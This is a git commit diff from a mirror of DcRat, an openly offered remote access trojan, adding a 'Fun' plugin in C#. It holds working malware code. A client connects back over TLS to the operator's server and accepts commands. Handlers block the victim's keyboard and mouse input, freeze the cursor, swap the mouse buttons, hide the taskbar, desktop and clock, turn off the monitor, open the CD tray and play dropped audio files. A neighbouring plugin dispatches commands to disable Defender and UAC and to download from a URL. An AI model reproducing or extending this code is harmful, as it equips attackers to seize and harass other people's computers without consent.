mirror of https://github.com/qwqdanchun/DcRat.git
Add some fun function
This commit is contained in:
parent
4d6311c05e
commit
f63e2e1b94
11
DcRat.sln
11
DcRat.sln
|
@ -51,6 +51,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Netstat", "Plugin\Netstat\N
|
|||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Regedit", "Plugin\Regedit\Regedit\Regedit.csproj", "{AB6CDF36-F336-4F14-8D69-3C190B7DEC65}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Fun", "Plugin\Fun\Fun\Fun.csproj", "{8BF244EB-0CA3-403E-A076-F1D77731A728}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
|
@ -243,6 +245,14 @@ Global
|
|||
{AB6CDF36-F336-4F14-8D69-3C190B7DEC65}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{AB6CDF36-F336-4F14-8D69-3C190B7DEC65}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{AB6CDF36-F336-4F14-8D69-3C190B7DEC65}.Release|x86.Build.0 = Release|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|x86.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
@ -268,6 +278,7 @@ Global
|
|||
{5D01A326-0357-4C3F-A196-3B8B866C9613} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{EFFE3048-E904-48FD-B8C0-290E8E9290FB} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{AB6CDF36-F336-4F14-8D69-3C190B7DEC65} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {1C926148-C492-48B3-8F82-7EBB235A9866}
|
||||
|
|
|
@ -49,9 +49,7 @@
|
|||
<ItemGroup>
|
||||
<Compile Include="Connection.cs" />
|
||||
<Compile Include="Handler\HandleDownloadFromUrl.cs" />
|
||||
<Compile Include="Handler\HandleOpenCD.cs" />
|
||||
<Compile Include="Handler\HandleDisableUAC.cs" />
|
||||
<Compile Include="Handler\HandleBlankScreen.cs" />
|
||||
<Compile Include="Handler\HandleDisableDefender.cs" />
|
||||
<Compile Include="Handler\Wallpaper.cs" />
|
||||
<Compile Include="Packet.cs" />
|
||||
|
|
|
@ -1,24 +0,0 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandleOpenCD
|
||||
{
|
||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
|
||||
protected static extern int mciSendString(string lpstrCommand,
|
||||
StringBuilder lpstrReturnString,
|
||||
int uReturnLength,
|
||||
IntPtr hwndCallback);
|
||||
public void Run()
|
||||
{
|
||||
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -47,18 +47,6 @@ namespace Plugin
|
|||
break;
|
||||
}
|
||||
|
||||
case "blankscreen+":
|
||||
{
|
||||
new HandleBlankScreen().Run();
|
||||
break;
|
||||
}
|
||||
|
||||
case "blankscreen-":
|
||||
{
|
||||
new HandleBlankScreen().Stop();
|
||||
break;
|
||||
}
|
||||
|
||||
case "disableDefedner":
|
||||
{
|
||||
new HandleDisableDefender().Run();
|
||||
|
@ -71,12 +59,6 @@ namespace Plugin
|
|||
break;
|
||||
}
|
||||
|
||||
case "openCD":
|
||||
{
|
||||
new HandleOpenCD().Run();
|
||||
break;
|
||||
}
|
||||
|
||||
case "downloadFromUrl":
|
||||
{
|
||||
new HandleDownloadFromUrl().Start(unpack_msgpack.ForcePathObject("url").AsString);
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31025.194
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Fun", "Fun\Fun.csproj", "{8BF244EB-0CA3-403E-A076-F1D77731A728}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {0FF38EE7-8F2A-4F1B-B780-EB87E3048A48}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,228 @@
|
|||
using MessagePackLib.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Connection
|
||||
{
|
||||
public static Socket TcpClient { get; set; }
|
||||
public static SslStream SslClient { get; set; }
|
||||
public static X509Certificate2 ServerCertificate { get; set; }
|
||||
private static byte[] Buffer { get; set; }
|
||||
private static long HeaderSize { get; set; }
|
||||
private static long Offset { get; set; }
|
||||
private static Timer Tick { get; set; }
|
||||
public static bool IsConnected { get; set; }
|
||||
private static object SendSync { get; } = new object();
|
||||
public static string Hwid { get; set; }
|
||||
|
||||
public static void InitializeClient(byte[] packet)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024,
|
||||
};
|
||||
|
||||
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
|
||||
if (TcpClient.Connected)
|
||||
{
|
||||
Debug.WriteLine("Plugin Connected!");
|
||||
IsConnected = true;
|
||||
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
||||
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
||||
new Thread(() =>
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "fun";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
//Packet.Read(packet);
|
||||
}).Start();
|
||||
//new Thread(() =>
|
||||
//{Packet.Read(packet);
|
||||
//}).Start();
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Disconnected!");
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||
{
|
||||
#if DEBUG
|
||||
return true;
|
||||
#endif
|
||||
return ServerCertificate.Equals(certificate);
|
||||
}
|
||||
|
||||
public static void Disconnected()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
IsConnected = false;
|
||||
Tick?.Dispose();
|
||||
SslClient?.Dispose();
|
||||
TcpClient?.Dispose();
|
||||
GC.Collect();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!TcpClient.Connected || !IsConnected)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
int recevied = SslClient.EndRead(ar);
|
||||
if (recevied > 0)
|
||||
{
|
||||
Offset += recevied;
|
||||
HeaderSize -= recevied;
|
||||
if (HeaderSize == 0)
|
||||
{
|
||||
HeaderSize = BitConverter.ToInt32(Buffer, 0);
|
||||
Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
|
||||
if (HeaderSize > 0)
|
||||
{
|
||||
Offset = 0;
|
||||
Buffer = new byte[HeaderSize];
|
||||
while (HeaderSize > 0)
|
||||
{
|
||||
int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
|
||||
if (rc <= 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
Offset += rc;
|
||||
HeaderSize -= rc;
|
||||
if (HeaderSize < 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(Buffer);
|
||||
Offset = 0;
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
}
|
||||
else
|
||||
{
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
}
|
||||
}
|
||||
else if (HeaderSize < 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public static void Send(byte[] msg)
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsConnected || msg == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(buffersize, 0, buffersize.Length);
|
||||
|
||||
if (msg.Length > 1000000) //1mb
|
||||
{
|
||||
Debug.WriteLine("send chunks");
|
||||
using (MemoryStream memoryStream = new MemoryStream(msg))
|
||||
{
|
||||
int read = 0;
|
||||
memoryStream.Position = 0;
|
||||
byte[] chunk = new byte[50 * 1000];
|
||||
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(chunk, 0, read);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(msg, 0, msg.Length);
|
||||
SslClient.Flush();
|
||||
}
|
||||
Debug.WriteLine("Plugin Packet Sent");
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void CheckServer(object obj)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Ping!)";
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,89 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
|
||||
<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8BF244EB-0CA3-403E-A076-F1D77731A728}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>Fun</RootNamespace>
|
||||
<AssemblyName>Fun</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Connection.cs" />
|
||||
<Compile Include="Handler\HandleMouseButton.cs" />
|
||||
<Compile Include="Handler\HandleDesktop.cs" />
|
||||
<Compile Include="Handler\HandleClock.cs" />
|
||||
<Compile Include="Handler\HandleHoldMouse.cs" />
|
||||
<Compile Include="Handler\HandleMonitor.cs" />
|
||||
<Compile Include="Handler\HandleBlockInput.cs" />
|
||||
<Compile Include="Handler\HandlePlayAudio.cs" />
|
||||
<Compile Include="Handler\HandleWebcamLight.cs" />
|
||||
<Compile Include="Handler\Native.cs" />
|
||||
<Compile Include="Handler\HandleTaskbar.cs" />
|
||||
<Compile Include="Handler\HandleBlankScreen.cs" />
|
||||
<Compile Include="Handler\HandleOpenCD.cs" />
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
|
||||
<Project>{dc199d9e-cf10-41dd-bbcd-98e71ba8679d}</Project>
|
||||
<Name>MessagePackLib</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ILMerge.props" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="ILMergeOrder.txt" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
|
||||
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
|
||||
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
|
||||
</Project>
|
|
@ -0,0 +1,31 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandleBlockInput
|
||||
{
|
||||
public void Block(string time)
|
||||
{
|
||||
Native.BlockInput(true);
|
||||
try
|
||||
{
|
||||
Thread.Sleep(TimeSpan.FromSeconds(int.Parse(time)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
Native.BlockInput(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,45 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
public class HandleClock
|
||||
{
|
||||
public void Show()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetClockVisibility(true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void Hide()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetClockVisibility(false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
public static void SetClockVisibility(bool visible)
|
||||
{
|
||||
var hWnd = Native.GetDlgItem(Native.FindWindow("Shell_TrayWnd", null), 0x12F);
|
||||
hWnd = Native.GetDlgItem(hWnd, 0x12F);
|
||||
Native.ShowWindow(hWnd, visible ? ShowWindowCommands.Show : ShowWindowCommands.Hide);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,93 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
public class HandleDesktop
|
||||
{
|
||||
public void Show()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetDesktopVisibility(true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void Hide()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetDesktopVisibility(false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
public static void SetDesktopVisibility(bool visible)
|
||||
{
|
||||
var hWnd = GetDesktopWindow(DesktopWindow.ProgMan);
|
||||
Native.ShowWindow(hWnd, visible ? ShowWindowCommands.Show : ShowWindowCommands.Hide);
|
||||
}
|
||||
public enum DesktopWindow
|
||||
{
|
||||
ProgMan,
|
||||
SHELLDLL_DefViewParent,
|
||||
SHELLDLL_DefView,
|
||||
SysListView32
|
||||
}
|
||||
public static IntPtr GetDesktopWindow(DesktopWindow desktopWindow)
|
||||
{
|
||||
IntPtr progMan = Native.GetShellWindow();
|
||||
IntPtr shelldllDefViewParent = progMan;
|
||||
IntPtr shelldllDefView = Native.FindWindowEx(progMan, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||
IntPtr sysListView32 = Native.FindWindowEx(shelldllDefView, IntPtr.Zero, "SysListView32",
|
||||
"FolderView");
|
||||
|
||||
if (shelldllDefView == IntPtr.Zero)
|
||||
{
|
||||
Native.EnumWindows((hwnd, lParam) =>
|
||||
{
|
||||
const int maxChars = 256;
|
||||
StringBuilder className = new StringBuilder(maxChars);
|
||||
|
||||
if (Native.GetClassName(hwnd, className, maxChars) > 0 && className.ToString() == "WorkerW")
|
||||
{
|
||||
IntPtr child = Native.FindWindowEx(hwnd, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||||
if (child != IntPtr.Zero)
|
||||
{
|
||||
shelldllDefViewParent = hwnd;
|
||||
shelldllDefView = child;
|
||||
sysListView32 = Native.FindWindowEx(child, IntPtr.Zero, "SysListView32", "FolderView");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}, IntPtr.Zero);
|
||||
}
|
||||
|
||||
switch (desktopWindow)
|
||||
{
|
||||
case DesktopWindow.ProgMan:
|
||||
return progMan;
|
||||
case DesktopWindow.SHELLDLL_DefViewParent:
|
||||
return shelldllDefViewParent;
|
||||
case DesktopWindow.SHELLDLL_DefView:
|
||||
return shelldllDefView;
|
||||
case DesktopWindow.SysListView32:
|
||||
return sysListView32;
|
||||
default:
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Windows.Forms;
|
||||
using Timer = System.Timers.Timer;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandleHoldMouse
|
||||
{
|
||||
public void Hold(string time)
|
||||
{
|
||||
var currentCursorPosition = Cursor.Position;
|
||||
var timer = new Timer { Interval = 5 };
|
||||
var currentTime = DateTime.UtcNow;
|
||||
timer.Elapsed += (sender, args) =>
|
||||
{
|
||||
Cursor.Position = currentCursorPosition;
|
||||
if ((DateTime.UtcNow - currentTime).TotalMilliseconds > int.Parse(time)*1000)
|
||||
{
|
||||
timer.Stop();
|
||||
timer.Dispose();
|
||||
}
|
||||
};
|
||||
timer.Start();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandleMonitor
|
||||
{
|
||||
// ReSharper disable InconsistentNaming
|
||||
private const int HWND_BROADCAST = 0xFFFF;
|
||||
private const int WM_SYSCOMMAND = 0x0112;
|
||||
private const int SC_MONITORPOWER = 0xF170;
|
||||
// ReSharper restore InconsistentNaming
|
||||
|
||||
public void TurnOff()
|
||||
{
|
||||
Native.SendMessage(new IntPtr(HWND_BROADCAST), WM_SYSCOMMAND, new IntPtr(SC_MONITORPOWER),
|
||||
new IntPtr(2));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
public class HandleMouseButton
|
||||
{
|
||||
public void RestoreMouseButtons()
|
||||
{
|
||||
try
|
||||
{
|
||||
Native.SwapMouseButton(0);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void SwapMouseButtons()
|
||||
{
|
||||
try
|
||||
{
|
||||
Native.SwapMouseButton(1);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandleOpenCD
|
||||
{
|
||||
public void Show()
|
||||
{
|
||||
Native.mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
|
||||
}
|
||||
|
||||
public void Hide()
|
||||
{
|
||||
Native.mciSendString("set CDAudio door closed", null, 0, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Media;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
class HandlePlayAudio
|
||||
{
|
||||
public void Play(byte[] wavfile)
|
||||
{
|
||||
string fullPath = Path.Combine(Path.GetTempPath(), GetRandomString(6) + ".wav");
|
||||
|
||||
using (FileStream fs = new FileStream(fullPath, FileMode.Create))
|
||||
fs.Write(wavfile, 0, wavfile.Length);
|
||||
|
||||
|
||||
SoundPlayer sp = new SoundPlayer(fullPath);
|
||||
sp.Load();
|
||||
sp.Play();
|
||||
}
|
||||
private const string Alphabet = "abcdefghijklmnopqrstuvwxyz";
|
||||
public static Random Random = new Random();
|
||||
public static string GetRandomString(int length)
|
||||
{
|
||||
StringBuilder randomName = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++)
|
||||
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
|
||||
|
||||
return randomName.ToString();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,92 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
|
||||
namespace Plugin.Handler
|
||||
{
|
||||
public class HandleTaskbar
|
||||
{
|
||||
private const string VistaStartMenuCaption = "Start";
|
||||
private static IntPtr vistaStartMenuWnd = IntPtr.Zero;
|
||||
|
||||
|
||||
public void Show()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetVisibility(true);
|
||||
}
|
||||
catch(Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void Hide()
|
||||
{
|
||||
try
|
||||
{
|
||||
SetVisibility(false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
}
